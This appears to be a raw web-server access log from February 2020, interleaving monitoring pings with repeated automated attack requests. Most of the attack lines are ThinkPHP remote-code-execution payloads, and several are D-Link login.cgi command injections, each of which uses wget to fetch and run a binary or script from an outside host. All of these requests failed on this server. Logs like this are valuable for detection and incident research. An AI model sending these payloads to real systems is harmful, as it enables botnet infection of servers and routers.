185.42.195.86 - - [03/Feb/2020:08:12:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [03/Feb/2020:08:13:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:08:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.57.143 - - [03/Feb/2020:08:14:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.130.110 - - [03/Feb/2020:08:14:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.194.23.70 - - [03/Feb/2020:08:16:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.100.40 - - [03/Feb/2020:08:17:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.85 - - [03/Feb/2020:08:18:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.179.162 - - [03/Feb/2020:08:19:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.29 - - [03/Feb/2020:08:20:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.139.89 - - [03/Feb/2020:08:23:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.22.68.100 - - [03/Feb/2020:08:28:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.64 - - [03/Feb/2020:08:30:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.70.76 - - [03/Feb/2020:08:30:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.228.161.100 - - [03/Feb/2020:08:32:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.184.241.180 - - [03/Feb/2020:08:32:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
78.186.171.231 - - [03/Feb/2020:08:32:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.149.5/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
78.186.171.231 - - [03/Feb/2020:08:32:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.149.5/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [03/Feb/2020:08:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [03/Feb/2020:08:36:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
188.153.52.161 - - [03/Feb/2020:08:37:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:08:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.70.95 - - [03/Feb/2020:08:39:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.120 - - [03/Feb/2020:08:40:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.32.15 - - [03/Feb/2020:08:47:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.212 - - [03/Feb/2020:08:59:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.103.218.130 - - [03/Feb/2020:09:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:09:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.235 - - [03/Feb/2020:09:02:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [03/Feb/2020:09:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [03/Feb/2020:09:06:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:09:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.205.164 - - [03/Feb/2020:09:10:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
107.6.171.130 - - [03/Feb/2020:09:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
197.157.193.244 - - [03/Feb/2020:09:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:09:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.142.112 - - [03/Feb/2020:09:15:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.221.245.9 - - [03/Feb/2020:09:20:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.221.245.9 - - [03/Feb/2020:09:20:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.183.158.184 - - [03/Feb/2020:09:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:09:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.81.180 - - [03/Feb/2020:09:26:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.113.62 - - [03/Feb/2020:09:29:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.57.26 - - [03/Feb/2020:09:31:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.235.25.43 - - [03/Feb/2020:09:32:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [03/Feb/2020:09:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.88 - - [03/Feb/2020:09:35:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
108.60.241.197 - - [03/Feb/2020:09:36:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.46.122.190 - - [03/Feb/2020:09:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:09:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:09:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.79.194 - - [03/Feb/2020:09:41:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:09:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
